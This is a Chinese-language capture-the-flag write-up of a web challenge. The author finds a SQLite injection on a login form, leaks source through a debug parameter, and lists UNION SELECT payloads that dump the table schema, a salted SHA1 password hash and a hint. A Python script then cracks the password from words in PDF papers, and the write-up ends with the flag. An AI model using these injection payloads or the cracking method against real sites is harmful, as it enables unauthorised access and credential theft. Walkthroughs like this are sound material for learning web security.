点击打开场景,发现都是文件下载的内容,是几篇英文文献
上一题有用到的robots.txt,构造一下http://IP:端口/robots.txt
果然有重要内容:
分别进入像个网站,发现有一个是默认是admin账号,尝试使用admin账号进行登录,但是并没有什么反馈
然后尝试使用admin账号在login页面进行登录
测试了很多数据发现输入admin’时会出现报错
根据报错SQLLite3找到对应的查询数据库的代码
代码:
CppSQLite3Queryquery = db.execQuery("select * fromtarget_table");
while(!query.eof())
{
cout<<"name:"<
CppSQLite3Query是一个查询返回对象,查询完后可以利用此类。这里就使用CppSQLite3DB的一个函数
execQuery,只要将查询sql传入即可。
eof函数:判断是否还有数据;
nextRow函数:移到下一条记录;
getStringField函数:获得相应字段的内容,以字符串形式返回;
getIntField函数:获得相应字段的内容,以整形形式返回。
通过分析此处应该存在SQL注入
注意我们在进行漏洞查找的过程中应该要结合浏览器的开发工具一起进行,发现网址泄露了某些参数或者网址,根据GET请求,我们能够迅速判断是参数
构造?debug参数出现源码泄露
找到关键代码SQL语句:
"SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"
通过SQL语句注入构建我们设计出如下查询的SQL语句:
' union select name,sql from sqlite_master--
然后查询到返回包里面有Set-Cookie字段
+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))
构造查询密码的SQL:usr=%27 UNION SELECT id, password from Users–+&pw=chybeta
构造查询用户的SQL:usr=%27 UNION SELECT id, name from Users --+&pw=chybeta
构造查询隐藏线索的SQL:usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta
最终的输出数据分别是:
name=+admin
name=+3fab54a50e770d830c0416df817567662a9dc85c
name=+my+fav+word+in+my+fav+paper%3F%21
我们根据这句话洞察到,最终你的密码还是不在我们的网站中,说我最喜欢的词(密码)在我最喜欢的文章中
好吧,还得找到作者最喜欢的文章,但是我们之前查到有密码,所以有可能这个就是作者最喜欢的文章的哈希值
SQL基础知识积累:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句
#:url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#使用时#号改成url的编码%23就可以了
–:注释(注意后面需要接入一个空格才能正常执行)
这里工作量已经很多了,但是还是得编写脚本,好吧坚持不下去了,找到了一个大佬的脚本,这里直接贴上来:
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]
def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text
def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()
if __name__ == "__main__":
find_password()
最终得到的密码是:
ThinJerboa
登录到admin.php上拿到Flag
至此最终的flag为:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}